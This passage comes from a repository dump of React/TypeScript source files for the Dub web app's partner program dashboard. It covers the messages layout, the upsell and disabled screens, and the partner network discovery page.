<X className=\"size-4\" />\n              </button>\n            </div>\n          </div>\n          <div className=\"bg-bg-muted scrollbar-hide flex grow flex-col gap-4 overflow-y-scroll p-6\">\n            {enrolledPartnerLoading ? (\n              <>\n                <PartnerInfoSectionSkeleton />\n                <PartnerInfoGroupSkeleton />\n                <PartnerInfoStatsSkeleton className=\"xs:grid-cols-2\" />\n              </>\n            ) : enrolledPartner ? (\n              <>\n                <PartnerInfoSection partner={enrolledPartner} />\n                <PartnerInfoGroup partner={enrolledPartner} />\n                <PartnerInfoStats\n                  partner={enrolledPartner}\n                  className=\"xs:grid-cols-2\"\n                />\n              </>\n            ) : null}\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction PartnerInfoSectionSkeleton() {\n  return (\n    <div className=\"flex items-start justify-between gap-6\">\n      <div>\n        <div className=\"size-12 animate-pulse rounded-full bg-neutral-200\" />\n        <div className=\"mt-4 flex min-w-0 items-start gap-2\">\n          <div className=\"h-6 w-32 animate-pulse rounded-md bg-neutral-200\" />\n          <div className=\"h-5 w-16 animate-pulse rounded-md bg-neutral-200\" />\n        </div>\n        <div className=\"mt-0.5 flex items-center gap-1\">\n          <div className=\"h-4 w-40 animate-pulse rounded-md bg-neutral-200\" />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction PartnerInfoGroupSkeleton() {\n  return (\n    <div className=\"flex items-center justify-between rounded-lg border border-neutral-200 bg-neutral-100 p-2 pl-3\">\n      <div className=\"flex min-w-0 items-center gap-2\">\n        <div className=\"size-3 shrink-0 animate-pulse rounded-full bg-neutral-200\" />\n        <div className=\"h-5 w-16 animate-pulse rounded-md bg-neutral-200\" />\n      </div>\n      <div className=\"h-7 w-24 animate-pulse rounded-lg bg-neutral-200\" />\n    </div>\n  );\n}\n\nfunction PartnerInfoStatsSkeleton({ className }: { className?: string }) {\n  return (\n    <div\n      className={cn(\n        \"xs:grid-cols-3 grid shrink-0 grid-cols-2 gap-px overflow-hidden rounded-lg border border-neutral-200 bg-neutral-200\",\n        className,\n      )}\n    >\n      {[...Array(6)].map((_, idx) => (\n        <div key={idx} className=\"flex flex-col bg-neutral-50 p-3\">\n          <div className=\"h-3 w-16 animate-pulse rounded-md bg-neutral-200\" />\n          <div className=\"mt-1 h-5 w-20 animate-pulse rounded-md bg-neutral-200\" />\n        </div>\n      ))}\n    </div>\n  );\n}\n\nfunction ViewPartnerButton({\n  partnerId,\n  isEnrolled,\n}: {\n  partnerId: string;\n  isEnrolled: boolean;\n}) {\n  const { slug: workspaceSlug } = useWorkspace();\n\n  return (\n    <Link\n      href={\n        isEnrolled\n          ? `/${workspaceSlug}/program/partners/${partnerId}`\n          : `/${workspaceSlug}/program/network?partnerId=${partnerId}`\n      }\n      target=\"_blank\"\n    >\n      <Button\n        variant=\"secondary\"\n        text={isEnrolled ? \"View profile\" : \"View partner\"}\n        className=\"h-8 rounded-lg px-3\"\n      />\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/messages/[partnerId]/page.tsx",
    "content": "import { ProgramMessagesPartnerPageClient } from \"./page-client\";\n\nexport default function ProgramMessagesPartnerPage() {\n  return <ProgramMessagesPartnerPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/messages/layout.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { usePartnerMessages } from \"@/lib/swr/use-partner-messages\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { NavButton } from \"@/ui/layout/page-content/nav-button\";\nimport { MessagesContext, MessagesPanel } from \"@/ui/messages/messages-context\";\nimport { MessagesList } from \"@/ui/messages/messages-list\";\nimport { PartnerSelector } from \"@/ui/partners/partner-selector\";\nimport { Button, InfoTooltip } from \"@dub/ui\";\nimport { Msgs, Pen2 } from \"@dub/ui/icons\";\nimport { useParams, useRouter } from \"next/navigation\";\nimport { CSSProperties, ReactNode, useState } from \"react\";\nimport { MessagesUpsell } from \"./messages-upsell\";\n\nexport default function MessagesLayout({ children }: { children: ReactNode }) {\n  const { plan } = useWorkspace();\n  const { loading } = useProgram();\n\n  if (loading) return <LayoutLoader />;\n\n  const { canMessagePartners } = getPlanCapabilities(plan);\n  if (!canMessagePartners) return <MessagesUpsell />;\n\n  return <CapableLayout>{children}</CapableLayout>;\n}\n\nfunction CapableLayout({ children }: { children: ReactNode }) {\n  const { slug: workspaceSlug } = useWorkspace();\n  const { partnerId } = useParams() as { partnerId?: string };\n  const { program } = useProgram();\n\n  const router = useRouter();\n\n  const { partnerMessages, isLoading, error } = usePartnerMessages({\n    query: { messagesLimit: 1 },\n  });\n\n  const [currentPanel, setCurrentPanel] = useState<MessagesPanel>(\n    partnerId ? \"main\" : \"index\",\n  );\n\n  return (\n    <MessagesContext.Provider value={{ currentPanel, setCurrentPanel }}>\n      <div className=\"@container/page h-[calc(100dvh-var(--page-top-margin)-var(--page-bottom-margin)-1px)] w-full overflow-hidden rounded-t-[inherit] bg-white\">\n        <div\n          className=\"@[800px]/page:grid-cols-[min-content_minmax(340px,1fr)] @[800px]/page:translate-x-0 grid h-full translate-x-[calc(var(--current-panel)*-100%)] grid-cols-[100%_100%]\"\n          style={\n            {\n              \"--current-panel\": { index: 0, main: 1 }[currentPanel],\n            } as CSSProperties\n          }\n        >\n          {/* Left panel - 800px/messages list */}\n          <div className=\"@[800px]/page:w-[280px] @[960px]/page:w-[340px] flex w-full flex-col overflow-hidden\">\n            <div className=\"border-border-subtle flex h-12 shrink-0 items-center justify-between gap-4 border-b px-4 sm:h-16 sm:px-6\">\n              <div className=\"flex min-w-0 items-center gap-4\">\n                <NavButton />\n                <div className=\"flex items-center gap-2\">\n                  <h1 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n                    Messages\n                  </h1>\n                  <InfoTooltip\n                    content={\n                      \"Chat with your partners in real time, with email notifications & read statuses built in. [Learn more](https://dub.co/help/article/messaging-partners)\"\n                    }\n                  />\n                </div>\n              </div>\n              <PartnerSelector\n                selectedPartnerId={partnerId ?? null}\n                setSelectedPartnerId={(id) =>\n                  router.push(`/${workspaceSlug}/program/messages/${id}`)\n                }\n                trigger={\n                  <Button\n                    type=\"button\"\n                    variant=\"secondary\"\n                    icon={<Pen2 className=\"size-4\" />}\n                    className=\"size-8 rounded-lg p-0\"\n                  />\n                }\n                matchTriggerWidth={false}\n                optionClassName=\"sm:max-w-[320px]\"\n              />\n            </div>\n            <div className=\"scrollbar-hide grow overflow-y-auto\">\n              {partnerMessages?.length || isLoading ? (\n                <MessagesList\n                  groupedMessages={partnerMessages?.map(\n                    ({ partner, messages }) => ({\n                      ...partner,\n                      messages,\n                      href: `/${workspaceSlug}/program/messages/${partner.id}`,\n                      unread: messages.some(\n                        (message) =>\n                          message.senderPartnerId && !message.readInApp,\n                      ),\n                    }),\n                  )}\n                  activeId={partnerId}\n                />\n              ) : error ? (\n                <div className=\"text-content-subtle flex size-full items-center justify-center text-sm\">\n                  Failed to load messages\n                </div>\n              ) : (\n                <div className=\"flex size-full flex-col items-center justify-center px-4\">\n                  <Msgs className=\"size-10 text-black\" />\n                  <div className=\"mt-6 max-w-64 text-center\">\n                    <span className=\"text-content-emphasis text-base font-semibold\">\n                      You don't have any messages\n                    </span>\n                    <p className=\"text-content-subtle text-sm font-medium\">\n                      When you receive a new message, it will appear here. You\n                      can also start a conversation at any time.\n                    </p>\n                  </div>\n                </div>\n              )}\n            </div>\n          </div>\n\n          <div className=\"border-border-subtle @[800px]/page:border-l size-full min-h-0\">\n            {children}\n          </div>\n        </div>\n      </div>\n    </MessagesContext.Provider>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/messages/messages-disabled.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { MsgsDotted, buttonVariants } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\n\nexport function MessagesDisabled() {\n  const { slug } = useWorkspace();\n\n  return (\n    <div className=\"flex h-full flex-col items-center justify-center gap-6 overflow-hidden px-4 py-10\">\n      <MsgsDotted className=\"text-content-subtle size-10\" />\n      <div className=\"max-w-sm text-pretty text-center\">\n        <span className=\"text-base font-medium text-neutral-900\">\n          Messaging disabled\n        </span>\n        <p className=\"mt-2 text-pretty text-sm text-neutral-500\">\n          Enable messaging in{\" \"}\n          <Link\n            href={`/${slug}/program/resources`}\n            className=\"hover:text-content-default underline underline-offset-2\"\n          >\n            Resources\n          </Link>{\" \"}\n          to allow partners to message you directly.\n        </p>\n      </div>\n      <div className=\"flex items-center gap-2\">\n        <Link\n          href={`/${slug}/program/resources`}\n          className={cn(\n            buttonVariants({ variant: \"secondary\" }),\n            \"flex h-9 items-center justify-center whitespace-nowrap rounded-lg border px-4 text-sm font-medium\",\n          )}\n        >\n          Go to Resources\n        </Link>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/messages/messages-upsell.tsx",
    "content": "\"use client\";\n\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { usePartnersUpgradeModal } from \"@/ui/partners/partners-upgrade-modal\";\nimport { Button } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\n\nexport function MessagesUpsell() {\n  const { partnersUpgradeModal, setShowPartnersUpgradeModal } =\n    usePartnersUpgradeModal();\n\n  return (\n    <PageContent\n      title=\"Messages\"\n      titleInfo={{\n        title:\n          \"Chat with your partners in real time, with email notifications & read statuses built in.\",\n        href: \"https://dub.co/help/article/messaging-partners\",\n      }}\n    >\n      {partnersUpgradeModal}\n      <div className=\"flex min-h-[calc(100vh-200px)] flex-col items-center justify-center gap-6 overflow-hidden px-4 py-10\">\n        <div className=\"flex w-full max-w-md flex-col gap-4 [mask-image:linear-gradient(black_60%,transparent)]\">\n          <DemoMessage\n            isCurrentUser={false}\n            avatarIndex={9}\n            text=\"I’m planning a YouTube video next week, want me to highlight your new feature?\"\n          />\n          <DemoMessage\n            isCurrentUser={true}\n            avatarIndex={6}\n            programImage=\"https://assets.dub.co/misc/acme-logo.png\"\n            text=\"That’d be perfect! I’ll send you the launch assets. 🎉🎉🎉\"\n          />\n          <DemoMessage\n            isCurrentUser={false}\n            avatarIndex={9}\n            text=\"Perfect, thanks! Send them over and I’ll make sure to feature it.\"\n          />\n        </div>\n        <div className=\"max-w-80 text-pretty text-center\">\n          <span className=\"text-base font-medium text-neutral-900\">\n            Messaging Center\n          </span>\n          <p className=\"text-content-subtle mt-2 text-sm\">\n            <a\n              href=\"https://dub.co/help/article/messaging-partners\"\n              target=\"_blank\"\n              rel=\"noopener noreferrer\"\n              className=\"text-content-default hover:text-content-emphasis cursor-alias underline decoration-dotted underline-offset-2\"\n            >\n              Messaging\n            </a>{\" \"}\n            makes working with partners easier. Available on Advanced plans and\n            higher.\n          </p>\n        </div>\n        <div className=\"flex items-center gap-2\">\n          <Button\n            onClick={() => setShowPartnersUpgradeModal(true)}\n            text=\"Upgrade to Advanced\"\n            className=\"h-8 px-3\"\n          />\n        </div>\n      </div>\n    </PageContent>\n  );\n}\n\nconst DemoMessage = ({\n  isCurrentUser,\n  avatarIndex,\n  programImage,\n  text,\n}: {\n  isCurrentUser: boolean;\n  avatarIndex: number;\n  programImage?: string;\n  text: string;\n}) => {\n  return (\n    <div\n      className={cn(\n        \"flex items-end gap-2\",\n        isCurrentUser\n          ? \"origin-bottom-right flex-row-reverse\"\n          : \"origin-bottom-left\",\n      )}\n    >\n      {/* Avatar */}\n      <div className=\"relative shrink-0\">\n        <div\n          className=\"size-8 shrink-0 rounded-full bg-neutral-300\"\n          style={{\n            backgroundImage:\n              \"url(https://assets.dub.co/partners/partner-images.jpg)\",\n            backgroundSize: \"1400%\", // 14 images\n            backgroundPositionX: (14 - (avatarIndex % 14)) * 100 + \"%\",\n          }}\n        />\n        {programImage && (\n          <img\n            src={programImage}\n            alt=\"avatar\"\n            className=\"absolute -bottom-0.5 -right-0.5 size-3.5 rounded-full border border-white\"\n          />\n        )}\n      </div>\n\n      <div className={cn(\"flex flex-col gap-1\", isCurrentUser && \"items-end\")}>\n        {/* Message box */}\n        <div\n          className={cn(\n            \"max-w-xs whitespace-pre-wrap rounded-xl px-4 py-2.5 text-sm\",\n            isCurrentUser\n              ? \"text-content-inverted rounded-br bg-neutral-700\"\n              : \"text-content-default rounded-bl bg-neutral-100\",\n          )}\n        >\n          {text}\n        </div>\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/messages/page-client.tsx",
    "content": "\"use client\";\n\nimport useProgram from \"@/lib/swr/use-program\";\nimport { useMessagesContext } from \"@/ui/messages/messages-context\";\nimport { ChevronLeft, Msgs } from \"@dub/ui/icons\";\nimport { MessagesDisabled } from \"./messages-disabled\";\n\nexport function ProgramMessagesPageClient() {\n  const { program } = useProgram();\n  const { setCurrentPanel } = useMessagesContext();\n\n  return program?.messagingEnabledAt === null ? (\n    <MessagesDisabled />\n  ) : (\n    <div className=\"flex h-full flex-col\">\n      <div className=\"border-border-subtle flex h-12 items-center gap-2 border-b px-4 sm:h-16 sm:px-6\">\n        <button\n          type=\"button\"\n          onClick={() => {\n            setCurrentPanel(\"index\");\n          }}\n          className=\"@[800px]/page:hidden rounded-lg p-1.5 text-neutral-500 transition-colors hover:bg-neutral-100 hover:text-neutral-900\"\n        >\n          <ChevronLeft className=\"size-3.5\" />\n        </button>\n      </div>\n\n      <div className=\"flex grow flex-col items-center justify-center gap-4\">\n        <Msgs className=\"text-content-muted size-10\" />\n        <p className=\"text-content-muted text-sm font-medium\">\n          Select or compose a message\n        </p>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/messages/page.tsx",
    "content": "import { ProgramMessagesPageClient } from \"./page-client\";\n\nexport default function ProgramMessages() {\n  return <ProgramMessagesPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/network/layout.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { ReactNode } from \"react\";\nimport { NetworkUpsell } from \"./network-upsell\";\n\nexport default function PartnerNetworkLayout({\n  children,\n}: {\n  children: ReactNode;\n}) {\n  const { plan } = useWorkspace();\n  const { program, loading } = useProgram();\n\n  if (loading) return <LayoutLoader />;\n\n  if (!program?.partnerNetworkEnabledAt) return <NetworkUpsell contactUs />;\n\n  const { canDiscoverPartners } = getPlanCapabilities(plan);\n  if (!canDiscoverPartners) return <NetworkUpsell />;\n\n  return children;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/network/network-empty-state.tsx",
    "content": "import { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { Button } from \"@dub/ui\";\nimport { Star, StarFill } from \"@dub/ui/icons\";\nimport { SVGProps, useId } from \"react\";\n\nexport function NetworkEmptyState({\n  isFiltered,\n  isStarred,\n  onClearAllFilters,\n}: {\n  isFiltered: boolean;\n  isStarred: boolean;\n  onClearAllFilters: () => void;\n}) {\n  return (\n    <AnimatedEmptyState\n      title=\"No partners found\"\n      description={\n        isFiltered || isStarred ? (\n          <>\n            Press{\" \"}\n            <span className=\"text-content-default bg-bg-emphasis rounded-md px-1 py-0.5 text-xs font-semibold\">\n              Esc\n            </span>{\" \"}\n            to clear all filters.\n          </>\n        ) : (\n          \"There are no partners for you to discover yet.\"\n        )\n      }\n      className=\"border-none md:min-h-[400px]\"\n      cardClassName=\"py-3\"\n      cardCount={2}\n      cardContent={(idx) => (\n        <div className=\"flex grow items-center gap-4\">\n          {idx % 2 === 0 || isStarred ? (\n            <StarFill className=\"size-3 shrink-0 text-amber-500\" />\n          ) : (\n            <Star className=\"text-content-muted size-3 shrink-0\" />\n          )}\n          <DemoAvatar className=\"text-content-default size-9 shrink-0\" />\n          <div className=\"flex grow flex-col gap-2\">\n            <div className=\"h-2.5 w-full min-w-0 rounded bg-neutral-200\" />\n            <div className=\"h-2.5 w-12 min-w-0 rounded bg-neutral-200\" />\n          </div>\n        </div>\n      )}\n      addButton={\n        isFiltered || isStarred ? (\n          <Button\n            type=\"button\"\n            text=\"Clear all filters\"\n            className=\"h-9 rounded-lg\"\n            onClick={onClearAllFilters}\n          />\n        ) : undefined\n      }\n    />\n  );\n}\n\nfunction DemoAvatar(props: SVGProps<SVGSVGElement>) {\n  const id = useId();\n\n  return (\n    <svg\n      width=\"40\"\n      height=\"41\"\n      viewBox=\"0 0 40 41\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g clipPath={`url(#${id}-clip)`}>\n        <path\n          d=\"M20 40.5C31.0457 40.5 40 31.5457 40 20.5C40 9.4543 31.0457 0.5 20 0.5C8.9543 0.5 0 9.4543 0 20.5C0 31.5457 8.9543 40.5 20 40.5Z\"\n          fill=\"#F5F5F5\"\n        />\n        <path\n          d=\"M20.0005 22.537C23.0005 22.537 25.4326 20.105 25.4326 17.1049C25.4326 14.1049 23.0005 11.6729 20.0005 11.6729C17.0004 11.6729 14.5684 14.1049 14.5684 17.1049C14.5684 20.105 17.0004 22.537 20.0005 22.537Z\"\n          fill=\"#D9D9D9\"\n        />\n        <circle cx=\"20.0003\" cy=\"40.1297\" r=\"11.8519\" fill=\"#D9D9D9\" />\n      </g>\n      <defs>\n        <clipPath id={`${id}-clip`}>\n          <path\n            d=\"M0 20.5C0 9.45431 8.95431 0.5 20 0.5C31.0457 0.5 40 9.45431 40 20.5C40 31.5457 31.0457 40.5 20 40.5C8.95431 40.5 0 31.5457 0 20.5Z\"\n            fill=\"white\"\n          />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/network/network-upsell.tsx",
    "content": "\"use client\";\n\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { buttonVariants } from \"@dub/ui\";\nimport { cn, COUNTRIES } from \"@dub/utils\";\nimport Link from \"next/link\";\n\nexport function NetworkUpsell({ contactUs }: { contactUs?: boolean }) {\n  return (\n    <PageContent title=\"Partner Network\">\n      <div className=\"flex min-h-[calc(100vh-200px)] flex-col items-center justify-center gap-6 overflow-hidden px-4 py-10\">\n        <div\n          className=\"flex w-full max-w-sm flex-col gap-4 overflow-hidden px-4 [mask-image:linear-gradient(transparent,black,transparent)]\"\n          aria-hidden\n        >\n          {EXAMPLE_PARTNERS.map((partner, idx) => (\n            <ExamplePartnerCell key={idx} partner={partner} />\n          ))}\n        </div>\n        <div className=\"max-w-80 text-pretty text-center\">\n          <span className=\"text-base font-medium text-neutral-900\">\n            Partner Network\n          </span>\n          <p className=\"mt-2 text-pretty text-sm text-neutral-500\">\n            Discover and recruit partners to help grow your revenue. Available\n            on Enterprise plans.\n          </p>\n        </div>\n        <div className=\"flex items-center gap-2\">\n          <Link\n            href=\"https://dub.co/contact/sales\"\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className={cn(\n              buttonVariants({ variant: \"primary\" }),\n              \"flex h-8 items-center justify-center whitespace-nowrap rounded-lg border px-3 text-sm\",\n            )}\n          >\n            {contactUs ? \"Contact us\" : \"Upgrade to Enterprise\"}\n          </Link>\n        </div>\n      </div>\n    </PageContent>\n  );\n}\n\nconst EXAMPLE_PARTNERS = [\n  {\n    name: \"Lauren Anderson\",\n    country: \"US\",\n    index: 0,\n  },\n  {\n    name: \"Elias Weber\",\n    country: \"DE\",\n    index: 4,\n  },\n  {\n    name: \"Hiroshi Tanaka\",\n    country: \"JP\",\n    index: 3,\n  },\n  {\n    name: \"Mia Taylor\",\n    country: \"US\",\n    index: 1,\n  },\n];\n\nfunction ExamplePartnerCell({\n  partner,\n}: {\n  partner: (typeof EXAMPLE_PARTNERS)[number];\n}) {\n  return (\n    <div className=\"flex size-full select-none items-center justify-between overflow-hidden rounded-2xl border border-neutral-200 bg-transparent bg-white p-4 pr-5\">\n      <div className=\"flex items-center gap-4\">\n        <div\n          key={partner.index}\n          className=\"size-10 rounded-full border border-neutral-300 bg-neutral-300\"\n          style={{\n            backgroundImage:\n              \"url(https://assets.dub.co/partners/partner-images.jpg)\",\n            backgroundSize: \"1400%\", // 14 images\n            backgroundPositionX: (14 - (partner.index % 14)) * 100 + \"%\",\n          }}\n        />\n        <div className=\"flex flex-col gap-0.5\">\n          <span className=\"text-content-default whitespace-nowrap text-sm font-semibold\">\n            {partner.name}\n          </span>\n          <div className=\"flex items-center gap-1\">\n            <img\n              alt={`${partner.country} flag`}\n              src={`https://hatscripts.github.io/circle-flags/flags/${partner.country.toLowerCase()}.svg`}\n              className=\"size-2.5 rounded-full\"\n            />\n            <span className=\"text-content-subtle whitespace-nowrap text-xs font-medium\">\n              {COUNTRIES[partner.country]}\n            </span>\n          </div>\n        </div>\n      </div>\n\n      <div className=\"bg-content-default text-content-inverted flex h-7 items-center justify-center rounded-lg px-2.5 text-sm\">\n        Send invite\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/network/page-client.tsx",
    "content": "\"use client\";\n\nimport { updateDiscoveredPartnerAction } from \"@/lib/actions/partners/update-discovered-partner\";\nimport { PARTNER_PLATFORM_FIELDS } from \"@/lib/partners/partner-platforms\";\nimport useNetworkPartnersCount from \"@/lib/swr/use-network-partners-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { NetworkPartnerProps } from \"@/lib/types\";\nimport { PARTNER_NETWORK_MAX_PAGE_SIZE } from \"@/lib/zod/schemas/partner-network\";\nimport { ConversionScoreIcon } from \"@/ui/partners/conversion-score-icon\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { ConversionScoreTooltip } from \"@/ui/partners/partner-network/conversion-score-tooltip\";\nimport { NetworkPartnerSheet } from \"@/ui/partners/partner-network/network-partner-sheet\";\nimport { PartnerStarButton } from \"@/ui/partners/partner-star-button\";\nimport { TrustedPartnerBadge } from \"@/ui/partners/trusted-partner-badge\";\nimport {\n  AnimatedSizeContainer,\n  BadgeCheck2Fill,\n  ChartActivity2,\n  Filter,\n  PaginationControls,\n  Switch,\n  Tooltip,\n  UserPlus,\n  usePagination,\n  useResizeObserver,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport type { Icon } from \"@dub/ui/icons\";\nimport { EnvelopeArrowRight, Globe } from \"@dub/ui/icons\";\nimport {\n  COUNTRIES,\n  capitalize,\n  cn,\n  fetcher,\n  formatDate,\n  isClickOnInteractiveChild,\n  timeAgo,\n} from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { useEffect, useMemo, useRef, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\nimport { NetworkEmptyState } from \"./network-empty-state\";\nimport { usePartnerNetworkFilters } from \"./use-partner-network-filters\";\n\nconst tabs = [\n  {\n    label: \"Discover\",\n    id: \"discover\",\n  },\n  {\n    label: \"Invited\",\n    id: \"invited\",\n  },\n  {\n    label: \"Recruited\",\n    id: \"recruited\",\n  },\n] as const;\n\nexport function ProgramPartnerNetworkPageClient() {\n  const { id: workspaceId } = useWorkspace();\n  const { searchParams, getQueryString, queryParams } = useRouterStuff();\n\n  const status =\n    tabs.find(({ id }) => id === searchParams.get(\"tab\"))?.id || \"discover\";\n\n  const { data: partnerCounts, error: countError } = useNetworkPartnersCount();\n\n  const {\n    data: partners,\n    error,\n    mutate: mutatePartners,\n    isValidating,\n  } = useSWR<NetworkPartnerProps[]>(\n    workspaceId &&\n      `/api/network/partners${getQueryString(\n        {\n          workspaceId,\n          status,\n        },\n        {\n          exclude: [\"tab\", \"partnerId\"],\n        },\n      )}`,\n    fetcher,\n    { revalidateOnFocus: false, keepPreviousData: true },\n  );\n\n  const { executeAsync: updateDiscoveredPartner } = useAction(\n    updateDiscoveredPartnerAction,\n  );\n\n  const { pagination, setPagination } = usePagination(\n    PARTNER_NETWORK_MAX_PAGE_SIZE,\n  );\n\n  const { filters, activeFilters, onSelect, onRemove, onRemoveAll } =\n    usePartnerNetworkFilters({ status });\n\n  const [detailsSheetState, setDetailsSheetState] = useState<\n    | { open: false; partnerId: string | null }\n    | { open: true; partnerId: string }\n  >({ open: false, partnerId: null });\n\n  useEffect(() => {\n    const partnerId = searchParams.get(\"partnerId\");\n    if (partnerId) setDetailsSheetState({ open: true, partnerId });\n  }, [searchParams]);\n\n  const { currentPartner } = useCurrentPartner({\n    partners,\n    partnerId: detailsSheetState.partnerId,\n  });\n\n  const [previousPartnerId, nextPartnerId] = useMemo(() => {\n    if (!partners || !detailsSheetState.partnerId) return [null, null];\n\n    const currentIndex = partners.findIndex(\n      ({ id }) => id === detailsSheetState.partnerId,\n    );\n    if (currentIndex === -1) return [null, null];\n\n    return [\n      currentIndex > 0 ? partners[currentIndex - 1].id : null,\n      currentIndex < partners.length - 1 ? partners[currentIndex + 1].id : null,\n    ];\n  }, [partners, detailsSheetState.partnerId]);\n\n  return (\n    <div className=\"flex flex-col gap-6\">\n      {detailsSheetState.partnerId && currentPartner && (\n        <NetworkPartnerSheet\n          isOpen={detailsSheetState.open}\n          setIsOpen={(open) =>\n            setDetailsSheetState((s) => ({ ...s, open }) as any)\n          }\n          partner={currentPartner}\n          onPrevious={\n            previousPartnerId\n              ? () =>\n                  queryParams({\n                    set: { partnerId: previousPartnerId },\n                    scroll: false,\n                  })\n              : undefined\n          }\n          onNext={\n            nextPartnerId\n              ? () =>\n                  queryParams({\n                    set: { partnerId: nextPartnerId },\n                    scroll: false,\n                  })\n              : undefined\n          }\n        />\n      )}\n      <div className=\"grid grid-cols-3 gap-2\">\n        {tabs.map((tab) => {\n          const isActive = status === tab.id;\n\n          return (\n            <button\n              key={tab.id}\n              type=\"button\"\n              className={cn(\n                \"border-border-subtle flex flex-col gap-1 rounded-lg border p-4 text-left transition-colors duration-100\",\n                isActive\n                  ? \"border-black ring-1 ring-black\"\n                  : \"hover:bg-bg-muted\",\n              )}\n              onClick={() => {\n                queryParams({\n                  set: { tab: tab.id },\n                  del: [\"page\", \"starred\"],\n                });\n              }}\n            >\n              <span className=\"text-content-default text-xs font-semibold\">\n                {tab.label}\n              </span>\n              {partnerCounts ? (\n                <span className=\"text-content-emphasis text-base font-semibold\">\n                  {(partnerCounts?.[tab.id] || 0).toLocaleString()}\n                </span>\n              ) : (\n                <div className=\"h-6 w-12 animate-pulse rounded-md bg-neutral-200\" />\n              )}\n            </button>\n          );\n        })}\n      </div>\n\n      <div>\n        <div className=\"xs:flex-row xs:items-center flex flex-col gap-4\">\n          <Filter.Select\n            className=\"h-9 w-full rounded-lg md:w-fit\"\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n          />\n          {status === \"discover\" && (\n            <label className=\"flex items-center gap-2\">\n              <Switch\n                checked={searchParams.get(\"starred\") == \"true\"}\n                fn={(checked) => {\n                  queryParams({\n                    set: checked ? { starred: \"true\" } : undefined,\n                    del: [\"page\", ...(!checked ? [\"starred\"] : [])],\n                  });\n                }}\n              />\n              <span className=\"text-content-emphasis text-sm font-medium\">\n                Starred\n              </span>\n            </label>\n          )}\n        </div>\n        <AnimatedSizeContainer height>\n          <div>\n            {activeFilters.length > 0 && (\n              <div className=\"pt-3\">\n                <Filter.List\n                  filters={filters}\n                  activeFilters={activeFilters}\n                  onSelect={onSelect}\n                  onRemove={onRemove}\n                  onRemoveAll={onRemoveAll}\n                />\n              </div>\n            )}\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n\n      {error || countError ? (\n        <div className=\"text-content-subtle py-12 text-sm\">\n          Failed to load partners\n        </div>\n      ) : !partners || partners?.length ? (\n        <div>\n          <div\n            className={cn(\n              \"@5xl/page:grid-cols-4 @3xl/page:grid-cols-3 @xl/page:grid-cols-2 grid grid-cols-1 gap-4 transition-opacity lg:gap-6\",\n              isValidating && \"opacity-50\",\n            )}\n          >\n            {partners\n              ? partners?.map((partner) => (\n                  <PartnerCard\n                    key={partner.id}\n                    partner={partner}\n                    onToggleStarred={(starred) => {\n                      mutatePartners(\n                        // @ts-ignore SWR doesn't seem to have proper typing for partial data results w/ `populateCache`\n                        async () => {\n                          const result = await updateDiscoveredPartner({\n                            workspaceId: workspaceId!,\n                            partnerId: partner.id,\n                            starred,\n                          });\n                          if (!result?.data) {\n                            toast.error(\"Failed to star partner\");\n                            throw new Error(\"Failed to star partner\");\n                          }\n\n                          return result.data;\n                        },\n                        {\n                          optimisticData: (data) =>\n                            (data || partners).map((p) =>\n                              p.id === partner.id\n                                ? {\n                                    ...p,\n                                    starredAt: starred ? new Date() : null,\n                                  }\n                                : p,\n                            ),\n                          populateCache: (\n                            result: { starredAt: Date | null },\n                            data,\n                          ) =>\n                            (data || partners).map((p) =>\n                              p.id === partner.id\n                                ? { ...p, starredAt: result.starredAt }\n                                : p,\n                            ),\n                          revalidate: false,\n                        },\n                      );\n                    }}\n                  />\n                ))\n              : [...Array(12)].map((_, idx) => <PartnerCard key={idx} />)}\n          </div>\n          <div className=\"sticky bottom-0 mt-4 rounded-b-[inherit] border-t border-neutral-200 bg-white 